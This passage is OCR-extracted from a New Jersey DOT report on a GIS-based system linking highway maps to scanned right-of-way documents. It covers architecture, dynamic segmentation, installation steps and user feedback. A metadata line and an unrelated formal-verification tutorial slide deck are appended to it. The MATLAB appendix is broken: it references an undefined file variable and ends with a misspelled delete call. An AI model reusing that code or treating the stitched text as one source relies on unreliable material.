security reasons, outside users cannot be given access to the Web Server at NJDOT, thus the access is only limited to users within NJDOT. Figure 4 Application Architecture Figure 5 Interfaces between Different Software Tools for the Creation of an Integrated Application IMPLEMENTATION OF THE PROTOTYPE APPLICATION SOFTWARE TOOLS IN GISMIS Software tools that are used for the implementation of the prototype GISMIS application are listed in Table 1. Table 1 Software Tools Used in System Development <table> <thead> <tr> <th>Software Tool</th> <th>Description</th> </tr> </thead> </table> | **GeoMedia Professional (GMPro)** | Software development environment Main desktop, and a viewing and analysis tool GIS data from different sources and in different formats are integrated into a single unified workspace environment | | **Modular GIS Environment (MGE)** | Primary GIS platform Environment for the spatial information capture, processing and management MGE and its applications are based on MicroStation, and it combines MicroStation graphics for mapping, and MS Access for database applications | | **Visual Basic (VB)** | GISMIS is developed inside VB’s programming structure Incorporates add-in technologies which make GISMIS efficient and scalable | | **Falcon/Document Management System (Falcon/DMS)** | Manages documents within the traditional client/server architecture by making fast and reliable transfer of data | Below a brief description of each tool is given: **GeoMedia Professional** GeoMedia Professional (GMPro) provides a viewing and analysis tool to combine geographic data from different sources in different formats into a single environment. Using GMPro, queries on spatial and attribute data from various sources can be performed, and views for maps can be displayed in a single GeoWorkspace. GMPro is also a software development environment, which can be customized with Windows-development tools like Visual Basic (VB)\(^1\). GMPro requires the components explained below for its workflow: **GeoWorkspaces** The first thing the user does in GMPro is to create a GeoWorkspace, or open an existing GeoWorkspace, since it is the container for all the work in this product. It can be configured to suit the user’s needs like selecting the coordinate-system. properties, or properties of legends. After saving the GeoWorkspace, it can be reopened with the restored configurations (1). **Warehouses** Data viewed by the user are stored in warehouses. Feature geometries and attribute data are displayed in a GeoWorkspace through connections to warehouses. Access to data is performed creating connections from the GeoWorkspace to one or more warehouses. Warehouse stores can be both geometric (graphic) and attribute (non-graphic) information. After connecting to at least one warehouse, related data can be displayed and analyzed in a single GeoWorkspace (1). **Coordinate Systems** Data is displayed using the coordinate system defined for the GeoWorkspace. Features with different coordinate systems are transformed and displayed through a single GeoWorkspace using its selected coordinate systems (1). **Map Window** In its interface, GMPro environment consists of a series of windows within windows. Map windows display graphic data like geographic or other map objects. Each map window contains a legend (1). **Legends** Legends provide control for displaying characteristics of the features, like their style and display property. User defines the content and design of each map window through its legend, simply controlling what is displayed to the user, and how it looks (1). **Data Window** Data windows display the attribute data associated with the geographic objects (geometries) in the Map Window. Data windows contain non-graphic attributes of a single feature class or query. Map and data windows are linked so that changes made in one window are reflected in the other (1). **MGE** MGE Basic Nucleus (MGNUC) is the platform and prerequisite front-end set-up application for MGE and other GIS applications based on MicroStation. MGE is responsible for the creation and maintenance of GIS databases. It provides the user a flexible set of tools for both production and planning GIS environment where several software tools function to create a single, efficient and user-friendly application. MGE combines MicroStation graphics for mapping and relational databases, such as MS Access used in GISMIS, and runs on the operating system such as Windows NT. Figure 6 illustrates the architecture of MGE system used in GISMIS. Visual Basic VB application developed as part of this project establishes the MGSM warehouse connection with MGE that is then used to define linear network queries to enable user to select a link on the NJ highway map. MGSM is an MGE application that stores distributed attributes that are linearly referenced to highways in the NJ Network. To connect to MGSM data, the MGSM project, parameter, seed, and coordinate files were identified in a VB custom command to define a reference for the GeoWorkspace to determine properties of the database to get connected. "Open Database Connectivity (ODBC) is a database interface standard, which provides a single interface between front-end applications and back-end databases, and enables the access to MGSM warehouses through the identification of the file, file name and file type, which is processed through ODBC."(1) Use of VB was of prime importance since it provided the basic programming and customizing tools for MGE and GMPro. In the existing version of GMPro, due to compatibility issues, VB 5.0 had to be used instead of VB 6.0. Prior to the tool development, the project team sought out the information about the objects, properties and methods available in GMPro. The customized button which was named and created by GM Command Wizard, and which visually stands for the GM Command itself initiates the process. GM Command encapsulates the programming code written in VB 5.0. It then initiates and completes the application process using the capabilities provided by the objects, methods, and properties of VB and GMPro. **Falcon/DMS** Falcon/DMS is an engineering document management system developed by tsaADVET Advanced Enterprise Technologies. Falcon/DMS is an integral part of GISMIS, where it offers a complete, comprehensive and flexible solution to document management with easy implementation, configuration, and usage for any WAN/LAN or web-based automation effort. (3) Another product that was already installed, but partly used in the project by tsaADVET was Falcon/SVP. It includes tools for configuring and managing web-based Falcon implementation. Requiring only a Web browser, Falcon/SVP provides users with 'view only' access to documents by allowing them to enter criteria on a search form that, upon submission, produces a result of matching database records. This search results form is configured to pull key information from each document's record, and allows the user to view the corresponding scanned documents through Falcon/DMS tool on a client machine (3). DATABASE IMPLEMENTATION MS Access Database Files MS Access Database files are MGE_GIS_Export.mdb and DYNSEG.mdb. The MGE_GIS_Export.mdb file, which is provided by NJDOT, creates the basis for the GIS map. The DYNSEG.mdb file is a custom-made database used to display segmentation of data on the NJ Highways Map. These two databases, as presented in Figure 8, contain Highways and Control Points tables where crucial data to perform the application is stored in. The Control Points and Highways tables shown in Figures 9 and 10 are distributed attribute tables. Distributed attribute tables contain information that allows geometry to be generated by dynamic segmentation. Distributed attribute values apply only to particular distances along Network Linear Feature (NLF). The distances are identified by start and end points on the NLF. The MGSM data server provides the capabilities to display and to analyze data stored in these distributed attribute tables. For the Control Points table, distance-from-origin values on control points in a control network are the key attributes for dynamic segmentation. Control point data represents a known position on a Network Linear Feature from which “distributed attribute” information can be referenced. The Highways table includes important information such as route number and milepost start and end data (1). For the Highways table, distributed attributes and their start and end point data originate as records in the custom-made database for dynamic segmentation process namely, DYNSEG.mdb. The columns of the Highways table in DYNSEG.mdb including route number, sri, link identification number, mslink are used as the distributed attributes to be applied on the linear feature. The column mslink is used as the primary unique key for all database-linked features. Figure 8 Basic Fields in Control Points and Highways Tables in MGE_GIS_Export.mdb and DYNSEG.mdb Table 2 Column Descriptions for Highways and Control Points Tables <table> <thead> <tr> <th>Field</th> <th>Description</th> </tr> </thead> <tbody> <tr> <td>mslink</td> <td>Link identification number (Primary ID)</td> </tr> <tr> <td>mapid</td> <td>ID of the entire map</td> </tr> <tr> <td>sri</td> <td>Route number</td> </tr> <tr> <td>dist_3d</td> <td>Length of the segments that will be used for the dynamic segmentation</td> </tr> <tr> <td>mp_start</td> <td>The starting point of milepost of the link.</td> </tr> <tr> <td>mp_end</td> <td>The end point of mile post of the link.</td> </tr> <tr> <td>sld_name</td> <td>Route Name</td> </tr> </tbody> </table> The parameter file is used to determine the structure of database tables and column names to generate the MGSM inputs to perform dynamic segmentation. It contains data of network linear features, control points, and distributed attributes. The parameter file is created and maintained in the Modular GIS Environment as presented in Figure 11. Figure 11 Working with Parameter File Builder Coordinate File The coordinate file contains the ordered information of all the coordinates of every vertex of every element in the network linear features. The input files are Universal List Files (ULF) with linear element and control point information as well as the parameter file to create ordered information as mentioned in the output coordinate file. Seed File The seed file is a design file in MicroStation format, which contains proper projection and data transformation definitions to specify the coordinate system, and to enable the display of NJ Highway map to the user. MGSM Project File The MGSM Project file (.mge) provides an attributed basis to link the graphics and database tables. GMPro knows about the needed MGE files by means of the MGE project name. A control network, which consists of Network Linear Features and control points, is a set of geographic data that has been structured for dynamic segmentation. The control network was built by selecting feature and attribute data from MGE project data set and from the relational database tables. Figure 12 presents the environment for the MGE file. With different components of MGE, several applications were processed in the Rutgers.mge file, like dynamic segmentation, creating coordinate and parameter files. Rutgers folder, which essentially has the data, files for the project, other than the .mdb files has the folder structure presented in Figure 13. Figure 13 also presents the relationship between those files associated with this project and the subdirectories. These files should be considered as input to process the application, and are provided by NJDOT. When a project is created, these subdirectories are also created automatically. These directory and subdirectory structures are needed for the components of MGE to define the project and to manage data with a workflow for the geographic and thematic nature of the data (1). Project Directory File Figure 13 Relationships between the Directory and Subdirectory Structures of the Project FALCON INTEGRATION GISMIS was integrated with Falcon/DMS at CAIT Laboratory on a pilot computer. An unpublished API that links GMPro, MGE and Falcon products, which was already developed by tsaADVET, was modified for the project. The technical aspects of data exchange between GISMIS and Falcon/DMS was resolved using solutions developed by the two development teams. The focus of the integration studies, which were done on site to enable Falcon/DMS to retrieve the text file created by CAIT with the information for the selected link, and to show the related scanned documents in the Falcon/DMS user interface. The integration was accomplished by following the installation procedure described in site implementation. Milepost information and the route number for each selected link is stored in a dynamic text file in the following format: Figure 14 Dynamic File The FalconGeoNJDOT module processes this information, and reaches a list of related digital files stored in web server in NJDOT displayed in Falcon/DMS to the user. The custom FalconGeoNJDOT module depends on a standard Falcon/DMS installation running with the Windows modules and the Falcon/SVP module. NJDOT have already built a document vault for storing the scanned engineering documents. Each new engineering document is scanned, added to the Falcon/DMS vault and then indexed. The first three system keywords in Falcon/DMS were configured to have the labels Route Number, Start MP, and End MP \(^{(2)}\). For each document added to Falcon/DMS, these three fields must be filled in to make the document available for user’s search: - **Route Number** - The Route Number is mapped to keyword 1 in Falcon/DMS. The route number should only contain a route number. For example “route 26” should be entered as just “26” in this field - **Start MP** - The start milepost field is mapped to keyword 2 in Falcon/DMS. The start milepost must be entered with a format of ###.### for the search to work properly. For example, if the milepost is 1.5, it must be entered as 001.500 for the search to work properly - **End MP** - The end milepost field is mapped to keyword 3 in Falcon/DMS. The end milepost must again be entered with a format of ###.### for the search to work properly ### Dynamic Segmentation One of the major problems with standard linear maps similar to the one provided by NJDOT for document management applications, is that standard highway links are most of the time too long, and the information associated with each standard link can be much more than the user needs. Most of the time user is interested in a smaller portion of these links, but without using dynamic Segmentation, it is not possible to subdivide these standard links into smaller links that will enable the user to better focus to his/her area of interest. GIS MIS enhances the management of this information over a standard linear GIS network by taking advantage of the dynamic segmentation capability of MGE toolbox. An MGE tool, MGSM, accomplishes dynamic segmentation by eliminating manual operations required to break linear networks into smaller segments. Dynamic segmentation has the capability of displaying and analyzing any portion of a linear feature without modifying the base map. MGSM facilitates creating, validating and maintaining control network segmentation integrating map coordinates with LRS, where the spatial characteristics of a feature is described using positions along a linear network \(^{(4)}\). However, for performing dynamic segmentation process as required in this application, a new database was created by sub-dividing each link in equal lengths, which is specified as 0.5 mile by NJDOT. Unfortunately, MGE does not have an automated function readily available for the creation of this new database. However, automatic processing of the link information for the creation of a new database that contains sub-divided link information is a very important requirement to eliminate the manual manipulations that can be excessively time-consuming due to the very large size of the NJ link database. Current NJ highway database includes 943 links, and for accomplishing dynamic segmentation 10491 sub-links in total had to be created using a MATLAB code written by CAIT researchers by automatically sub-dividing all the links according to a specified length. MATLAB code developed as part of this project creates a new database that contains appropriate information for each sub-link. MATLAB code complies with the specifications of the database component of the main application. It also provides the flexibility to enhance the application by allowing NJDOT to modify the lengths of sub-links for their future needs, and thus creates different types of network solutions without making any changes to the rest of the application. DESCRIPTION OF THE USAGE OF THE APPLICATION Usage of the application is presented using screen shots shown below: **Step 1:** Initialize application with NJ command ![Figure 15 Initialization of the Application with NJ Command](image1) **Step 2:** Display information about the link clicked on GIS map ![Figure 16 Display of Link Information](image2) Step 3: Activate Find Related Documents command to reach the documents associated with the selected link ![Figure 17 Search for Related Documents](image) Step 4: Read and display to the user, the folder for the related documents, which resides in NJDOT web server ![Figure 18 Related Documents Folder](image) Step 5: Display related documents for only the selected segment of the link with Falcon/Geo user interface ![Figure 19 Falcon/Geo Interface for one segment of the Selected Link after Dynamic Segmentation](image) Step 6: Display typical documentation information through Falcon/DMS user interface ![Figure 20 List of ROW Maps](image) Step 7: Display the ROW map to the user Figure 21 Sample ROW Map SITE IMPLEMENTATION Site implementation was accomplished with the collaboration of CAIT researchers and tsaADVET. Installation procedure performed during the site visit is illustrated as follows: 1. Install GMPro 4.0 2. Install MGE Products MGNUC, MGAD and MGSM in the respective order 3. Save MGSMProject main project directory to a drive in the computer which has the following: - \MGE_Gis_Export.mdb → Main Database - Rutgers.mge → Modular GIS Environment Project File - Njdot prm → Parameter File - Njdot.crd → Coordinate File - Seed83.dgn → Coordinate System File in Microstation Design File Format 4. Save the following MS Access Database Files to a directory in the computer - Gist.mdb → For Displaying Highways - DYNSEG.mdb → For Dynamic Segmentation 5. Install Custom Web CGI program - Copy the Web CGI programs dmsGeoNJ.exe and dmsGeoWebs.exe to your Falcon/SVP web directory \inetpub\scripts\falcon 6. Install HTML Template Files - Copy the html template files FalconGeoBuildTreeView.htm and FalconGeoSelectContract.htm to your Falcon/SVP web directory \inetpub\wwwroot\falcon 7. Install Custom FalconGeo components and GISMIS components on GIS client machine by setting two environmental variables - MGSM_DIR to the directory which include MGSMProject main project folder - MGSM_HttpServer to point to the Web Server 8. Create two ODBC Connections to DYNSEG.mdb using data source name, “dynamic_converter”, and to MGE_Gis_Export.mdb using data source name “Rutgers” 9. Place the nj.dll and nj.ini file in the /Geomedia Professional/Program directory of the computer, and install the user command to Geomedia Professional using the following command: Installusrcmd /prod “Geomedia Professional” nj.dll nj.ini - install the user command to Geomedia Professional using the following command: Installusrcmd /prod “Geomedia Professional” nj.dll nj.ini - Proceed with the message “User Command Installed Successfully” 10. Place FalconGeoNJDOT.exe, FalconGeoNJDOT.dll, and FindRelatedDocs.ini file to /Geomedia Professional/Program directory of the computer: - Install the user command to Geomedia Professional using the following command: installusrcmd /prod “Geomedia Professional” FalconGeoNJDOT.dll FindRelatedDocs.ini - Proceed with the message “User Command Installed Successfully” 11. Open an already created GeoWorkspace, which already has all the connections to all database objects, and design files with a user-friendly interface Creating a GeoWorkspace 1. Customize the command Button in GMPro User Interface: - Go to Geomedia Professional and open a blank GeoWorkspace - In the menu bar, go to Tools, and select Customize in the pull-down menu items - Select Custom from the Toolbar or the MenuBar Tab - Click on the custom command visible (It is displayed by its command name) - Drag it outside to place it as a button on the interface or add it inside a pull-down menu - Close the Customize dialog box - Click on the Tool Button or the Menu Item to activate the command 2. Create connections to design files according to the segment size to display on top of the base map 3. Select legend properties for the display of different levels on NJ Highway map for easy visualization purposes The levels were selected optimizing the visualization advantages with the level of information needed by the user. Below are the selected levels for the created GeoWorkspace: - Level 10 – U.S. Routes - Level 11 – State Routes - Level 13 – Local Roads - Level 14 – Interstate Routes - Level 15 – Toll Routes - Level 45 – Street Names 4. Perform dynamic segmentation adding the already created layer on top of the GIS map (This step is alternative considering the segment size desired by the user) 5. Save the GeoWorkspace, which contains all the work done for that specific GeoWorkspace. It can be considered as a scratch paper where the user works and erases continuously and tracks (views) all the work she/he has done. MODIFICATIONS FOR GISMIS Prototype The improvements and modifications determined as a result of the feedback obtained from NJDOT professionals were implemented. A survey was prepared and submitted to users for further improvements. tsaADVET has participated in this over the phone for guidance of Falcon/DMS installation and connection to Web Server. The questionnaire is shown in Appendix B. Overall, the prototype software was received well, and its capabilities were rated excellent. Based on this survey and other inputs, we have also created a sample GeoWorkspace, which contains the optimized requirements for the user’s work. GeoWorkspace is created based on the considerations as mentioned under “Creating A GeoWorkspace”. The sample GeoWorkspace was saved during installation to accentuate the efficiency and ease of workflow in GMPro. TRAINING FOR GISMIS Prototype The developed GISMIS prototype implemented with minor modifications and improvements were installed at NJDOT. The environment variable is incorporated in GISMIS to enable driver independence for data. Training started with introducing the system to the users. As an introduction, concise training and user’s manual for GISMIS was also prepared. A sample GeoWorkspace was created showing the basic flow of the application to the users on October 18, 2002. The designated user worked on the program experimenting with it until he felt comfortable with the product. Future training can involve all the possible users of the system. CONCLUSIONS AND RECOMMENDATIONS GIS-Based Management System was a success with regard to the original criteria, which was to develop a user-friendly graphic interface for retrieval of roadway plans and ROW maps. However, due to constraints of the software used in this project, which require all users to own a copy of the GeoMedia Professional in order to use the prototype, this current solution does not appear to be the most efficient one, if NJDOT plans to pursue the development of the prototype on a large scale. In addition to the software requirements, hardware requirements can also be a problem due to demanding CPU and memory requirements of the current software application. CAIT researchers will continue to use and evaluate the application on a small scale and pursue more efficient solutions, as they become available including web based applications. Following recommendations are made to enhance the prototype: - Explore new web-based techniques that will obviate the use of the existing desktop set-up - Study safety, security and other maintenance implications of using web-based solutions - Implement an enhanced version of the GIS-based prototype using GeMedia Web Map which became available recently Explore the applicability of GeoMedia Transportation package to simplify the use of dynamic segmentation feature APPENDIX A MATLAB code for automatic creation of sub-divided link database finname=input(' Enter the name of the database file w/ extension ','s'); foutname=input(' Enter the name of the segmented (i.e output) file w/ extension ','s'); fimagename=input(' Enter the name of the image file w/ extension ','s'); fid=fopen(foutname,'w'); fid3=fopen(fimagename,'w'); [sri,sld_name,mp_start,mp_end,mslink,mapid,map_length,sri_length,map_sri_diff,rte_gis,km_start,km_end,geometry_sk] = ... textread(finname2,'%s%s%f%f%d%f%f%f%f%f%f','delimiter',' '); segment = 0.5; % length of the segments in miles j=1; k=1; for i=1:length(mp_start), % starting values of each variable (for each record) sri_new(j) = sri(i); sld_name_new(j) = sld_name(i); mp_start_new(j) = mp_start(i); mp_end_new(j) = mp_end(i); mslink_new(j) = mslink(i); mapid_new(j) = mapid(i); map_length_new(j) = map_length(i); sri_length_new(j) = sri_length(i); map_sri_diff_new(j) = map_sri_diff(i); rte_lgis_new(j) = rte_gis(i); km_start_new(j) = km_start(i); km_end_new(j) = km_end(i); geometry_sk_new(j) = geometry_sk(i); while mp_start_new(j) < mp_end(i)-segment, if mp_start_new(j)+segment <= mp_end(i), mp_start_new(j+1) = mp_start_new(j)+segment; mp_end_new(j) = mp_start_new(j)+segment; end sri_new(j+1) = sri(i); sld_name_new(j+1) = sld_name(i); mslink_new(j+1) = mslink(i); mapid_new(j+1) = mapid(i); 30 rte_lgis_new(j+1) = rte_gis(i); geometry_sk_new(j+1) = geometry_sk(i); km_start_new(j+1) = km_start(i); % should be changed km_end_new(j+1) = km_end(i); % should be changed j=j+1; k=k+1; end % last value of the Mile Post End for each record mp_end_new(j) = mp_end(i); % dividing map_length, sri_length and map_sri_diff by the count map_length_new((j-k+1):j) = map_length(i)/k; sri_length_new((j-k+1):j) = sri_length(i)/k; map_sri_diff_new((j-k+1):j) = map_sri_diff(i)/k; j=j+1; k=1; end total_count=j-1; % writing new variables to the output file and creating the text file for j=1:total_count, % segmented (i.e. output) file fprintf(fid,'%s ',char(sri_new(j))); fprintf(fid,'%s ',char(sld_name_new(j))); fprintf(fid,'%0.3f ',mp_start_new(j)); fprintf(fid,'%0.3f ',mp_end_new(j)); fprintf(fid,'%d ',char(mslink_new(j))); fprintf(fid,'%d ',char(mapid_new(j))); fprintf(fid,'%0.8f ',map_length_new(j)); fprintf(fid,'%0.8f ',sri_length_new(j)); fprintf(fid,'%0.8f ',map_sri_diff_new(j)); fprintf(fid,'%s ',char(rte_lgis_new(j))); fprintf(fid,'%0.3f ',km_start_new(j)); fprintf(fid,'%0.3f ',km_end_new(j)); fprintf(fid,'%s ',char(geometry_sk_new(j))); end fclose(fid); fclose(fid3); delete(finnname2); ## APPENDIX B ### EVALUATION OF GIS-BASED MANAGEMENT INFORMATION SYSTEMS FOR NJDOT HIGHWAY NETWORKS **Questionnaire by CAIT** <table> <thead> <tr> <th>Question</th> <th>Answer</th> </tr> </thead> <tbody> <tr> <td>1. Are you familiar with Geographical Information Systems?</td> <td>Yes</td> </tr> <tr> <td>2. Are you familiar with Geomedia/Geomedia Professional?</td> <td>No</td> </tr> <tr> <td>3. Do you think GIS is effectively incorporated to this prototype, namely GEMINI?</td> <td>Yes</td> </tr> <tr> <td>4. Does GEMINI have any particularly innovative features that you would like to mention?</td> <td>Yes. The ability to turn on/off features within the legend (Road Names).</td> </tr> <tr> <td>5. To your opinion, is GEMINI efficiently integrated with the fundamental components of Falcon/DMS?</td> <td>Yes. Software packages work well together.</td> </tr> <tr> <td>6. Is the system user-friendly?</td> <td>Yes. For the average end user, there may be too much displayed on the screen. Tool bars, buttons, etc. could become a disadvantage</td> </tr> <tr> <td>Question</td> <td>Response</td> </tr> <tr> <td>-------------------------------------------------------------------------</td> <td>--------------------------------------------------------------------------</td> </tr> <tr> <td>7. Is the system efficient in your practice of work in the following</td> <td>Yes</td> </tr> <tr> <td>aspects?</td> <td>Easy as any windows-based program</td> </tr> <tr> <td>▪ starting the system</td> <td>Quick as your machine will respond</td> </tr> <tr> <td>▪ querying data</td> <td>Excellent with the right viewer</td> </tr> <tr> <td>▪ displaying data</td> <td>Excellent</td> </tr> <tr> <td>▪ visualization and geographic representation</td> <td>Excellent</td> </tr> <tr> <td>▪ ease-in-use</td> <td></td> </tr> <tr> <td>others, please specify</td> <td></td> </tr> <tr> <td>8. Is the user manual for GEMINI meaningful, easy to understand, and</td> <td>Yes</td> </tr> <tr> <td>current?</td> <td></td> </tr> <tr> <td>9. Do you have any suggestions/comments for future improvements of</td> <td>More of an easier looking display, just the map area (New Jersey). No</td> </tr> <tr> <td>GEMINI?</td> <td>Tools or buttons. This gives the user less of a chance for errors.</td> </tr> </tbody> </table> ROW = Right-Of-Map NJDOT = New Jersey Department of Transportation GIS = Geographical Information Systems GISMIS = GIS-Based Management Information System CAIT = Center for Advanced Infrastructure and Transportation MGE = Modular GIS Environment MGSM = MGE Segment Manager MGNUC = MGE Basic Nucleus MGAD = MGE Basic Administrator GM = GeoMedia GMPro = GM Professional VB = Visual Basic DMS = Database Management Systems MIS = Management Information Systems EDMS = Electronic Document Management System ODBC = Open Database Connectivity API = Application-programming Interface SQL = Structured Query Language NLF = Network Linear Feature ULF = Universal List File REFERENCES
{"Source-Url": "https://www.state.nj.us/transportation/refdata/research/reports/FHWA-NJ-2003-002.pdf", "len_cl100k_base": 10315, "olmocr-version": "0.1.50", "pdf-total-pages": 41, "total-fallback-pages": 0, "total-input-tokens": 68203, "total-output-tokens": 11372, "length": "2e13", "weborganizer": {"__label__adult": 0.0018129348754882812, "__label__art_design": 0.0016164779663085938, "__label__crime_law": 0.001220703125, "__label__education_jobs": 0.00687408447265625, "__label__entertainment": 0.0004651546478271485, "__label__fashion_beauty": 0.0006108283996582031, "__label__finance_business": 0.001529693603515625, "__label__food_dining": 0.0010385513305664062, "__label__games": 0.0035247802734375, "__label__hardware": 0.01224517822265625, "__label__health": 0.00122833251953125, "__label__history": 0.0029659271240234375, "__label__home_hobbies": 0.0003848075866699219, "__label__industrial": 0.00396728515625, "__label__literature": 0.0013027191162109375, "__label__politics": 0.0007929801940917969, "__label__religion": 0.001220703125, "__label__science_tech": 0.09454345703125, "__label__social_life": 0.00040650367736816406, "__label__software": 0.0950927734375, "__label__software_dev": 0.59423828125, "__label__sports_fitness": 0.0012140274047851562, "__label__transportation": 0.170166015625, "__label__travel": 0.0016088485717773438}, "weborganizer_max": "__label__software_dev", "avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_v1__avg_fraction_numbers_in_line_ratio": [[0, 48868, 0.01845]], "fineweb_edu_fasttext_gt2__fineweb_edu_fasttext_gt2__score": [[0, 48868, 0.24627]], "ft_lang_id_en_doc_v2__ft_lang_id_en_doc_v2__en": [[0, 48868, 0.88045]], "google_gemma-3-12b-it_contains_pii": [[0, 478, false], [478, 1280, null], [1280, 2415, null], [2415, 4263, null], [4263, 6578, null], [6578, 6770, null], [6770, 9533, null], [9533, 10965, null], [10965, 13122, null], [13122, 13159, null], [13159, 13241, null], [13241, 16318, null], [16318, 17130, null], [17130, 17229, null], [17229, 19234, null], [19234, 21516, null], [21516, 22381, null], [22381, 24059, null], [24059, 25877, null], [25877, 26856, null], [26856, 27199, null], [27199, 28535, null], [28535, 29166, null], [29166, 30149, null], [30149, 33074, null], [33074, 34098, null], [34098, 34454, null], [34454, 34766, null], [34766, 35102, null], [35102, 35168, null], [35168, 36873, null], [36873, 38649, null], [38649, 39172, null], [39172, 41903, null], [41903, 42016, null], [42016, 43421, null], [43421, 44630, null], [44630, 45726, null], [45726, 47852, null], [47852, 48515, null], [48515, 48868, null]], "google_gemma-3-12b-it_is_public_document": [[0, 478, true], [478, 1280, null], [1280, 2415, null], [2415, 4263, null], [4263, 6578, null], [6578, 6770, null], [6770, 9533, null], [9533, 10965, null], [10965, 13122, null], [13122, 13159, null], [13159, 13241, null], [13241, 16318, null], [16318, 17130, null], [17130, 17229, null], [17229, 19234, null], [19234, 21516, null], [21516, 22381, null], [22381, 24059, null], [24059, 25877, null], [25877, 26856, null], [26856, 27199, null], [27199, 28535, null], [28535, 29166, null], [29166, 30149, null], [30149, 33074, null], [33074, 34098, null], [34098, 34454, null], [34454, 34766, null], [34766, 35102, null], [35102, 35168, null], [35168, 36873, null], [36873, 38649, null], [38649, 39172, null], [39172, 41903, null], [41903, 42016, null], [42016, 43421, null], [43421, 44630, null], [44630, 45726, null], [45726, 47852, null], [47852, 48515, null], [48515, 48868, null]], "google_gemma-3-4b-it_v2tag__is_academic_paper": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_class_syllabus": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_completion_certificate": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_court_notice": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_homework_assignment": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_news_article": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_public_order": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_resume_cv": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_test_or_quiz": [[0, 5000, false], [5000, 48868, null]], "google_gemma-3-4b-it_v2tag__is_textbook": [[0, 5000, false], [5000, 48868, null]], "pdf_page_numbers": [[0, 478, 1], [478, 1280, 2], [1280, 2415, 3], [2415, 4263, 4], [4263, 6578, 5], [6578, 6770, 6], [6770, 9533, 7], [9533, 10965, 8], [10965, 13122, 9], [13122, 13159, 10], [13159, 13241, 11], [13241, 16318, 12], [16318, 17130, 13], [17130, 17229, 14], [17229, 19234, 15], [19234, 21516, 16], [21516, 22381, 17], [22381, 24059, 18], [24059, 25877, 19], [25877, 26856, 20], [26856, 27199, 21], [27199, 28535, 22], [28535, 29166, 23], [29166, 30149, 24], [30149, 33074, 25], [33074, 34098, 26], [34098, 34454, 27], [34454, 34766, 28], [34766, 35102, 29], [35102, 35168, 30], [35168, 36873, 31], [36873, 38649, 32], [38649, 39172, 33], [39172, 41903, 34], [41903, 42016, 35], [42016, 43421, 36], [43421, 44630, 37], [44630, 45726, 38], [45726, 47852, 39], [47852, 48515, 40], [48515, 48868, 41]], "pipe_delimited_lines_v1__pipe_delimited_lines_v1__pipe_delimited_lines_ratio": [[0, 48868, 0.19355]]}
olmocr_science_pdfs
2024-11-30
2024-11-30
5a84995ab935cc9597c260f00728bed9db3a2fbb
Formal Verification Tutorial – Breaking Through the Knowledge Barrier Sean Safarpour - Synopsys, Inc. Iain Singleton - Synopsys, Inc. Shaun Feng - Samsung Austin R&D Center Syed Suhaib - Nvidia Corp. Mandar Munishwar - Qualcomm, Inc. **Agenda** - **Introduction**: Sean Safarpour (20 min) - **Induction & Invariants – Steps to Convergence**: Iain Singleton (45 min) - **Efficient Formal Modeling Techniques**: Shaun Feng (45 min) - **Architectural Formal Verification for Coherency**: Syed Suhaib (45 min) - **Formal Sign-off**: Mandar Munishwar (45 min) **Break** (10 min) Introduction Sean Safarpour, Synopsys Email: seans@synopsys.com Formal Key Enabler for “Shift Left” The Verification Questions Remain: • How can we reduce our overall verification time? • How can we improve efficiency? • How can we find the late bugs earlier? • How can we prevent bugs slipping into Silicon? How to Improve Verification Confidence • Simulation cycles aren’t scaling – Need to look at each problem differently • Let’s break down the verification problem – Verification plan consists of individual tasks – Some well suited for simulation – Some well suited for emulation – Some well suited for static/formal verification – Use the right task for the right problem • Why consider multiple tools in the verification flow? – Not all problems can be solved by the same approach – Use the right tool for the right problem • Find bugs, saves time and $$$ Sean Safarpour - Synopsys, Inc. Complementing Simulation with Formal - Formal explores design state space exhaustively - Simulation is not exhaustive but explores deep sequential behavior Sean Safarpour - Synopsys, Inc. Stairway to Formal - Formal Applications (Apps) solve specific problems very well - Easy to setup & use & debug - No need to know or write SVA/assertions, - No need for formal background/expertise - Users can gradually tackle more advanced formal problems Property Verification • Formal Property Verification – Very powerful – Very flexible: can be deployed on many problems – Size limited: block/IP level – Limited to Control Paths – Exponential problem: no conclusive answer Nature of the Problem - Formal Verification problem is exponential in nature - For hard problems, at some point progress stop Nature of the Problem • Plateau graph: – When looking at a large number of properties over time ... ...progress appears to stops Stage 1: Significant progress is made quickly Stage 2: the “knee” of the curve progress is slowing down Stage 3: Very few properties can converge with additional time or resources Property Verification • Formal Property Verification – Very powerful – Very flexible: can be deployed on many problems – Size limited: block/IP level – Limited to Control Paths – Exponential problem: no conclusive answer • But in the hands of an expert… – Size limit can be worked around – Datapath can be handled – Exponential effects can be managed Nature of the Problem • With some “tricks” / know-how we can jump to another curve • Might be good enough to solve our problem • Plateau graph – More properties will converge for the same amount of time Secrets Disclosed • Through Years of experience and countless projects… • Formal expert have discovered and mastered techniques to go beyond limitations • Presenters will disclose some of their secrets… – Abstraction techniques – Symbolic Variables – Invariants and Induction – Architectural level checks – Signing off with formal Agenda - Introduction : Sean Safarpour (20 min) - Induction & Invariants – Steps to Convergence : Iain Singleton (45 min) - Efficient Formal Modeling Techniques : Shaun Feng (45 min) Break (10 min) - Architectural Formal Verification for Coherency : Syed Suhaib (45 min) - Formal Sign-off : Mandar Munishwar (45 min) Induction & Invariants – Key Steps to Convergence Iain Singleton - Synopsys, Inc. Email: isingle@synopsys.com The Formal Convergence Problem • The Satisfiability (SAT) problem: – Given a Boolean expression is there a set of values which will evaluate the expression to true – For each variable, \( n \), there are \( 2^n \) possible values which must be tested – This creates an exponential NP-complete problem State Space Exploration End state Initial state State Space Exploration State Space Exploration Improving Convergence • Not all problems are created equal – Complexity is impacted by a number of factors • Overcoming complexity is one of formals biggest challenges – Abstractions – Property Decomposition – Divide and Conquer – Case Splitting – Invariants – Induction Invariants • What is an invariant? A function, quantity or property which remains unchanged when a specific transformation is applied • All assertions can be invariants • Some invariants can improve convergence Assume Guarantee • Assume guarantee is used to guarantee constraints by proving them on the driving logic • Used as a complement to divide and conquer methodology • …but 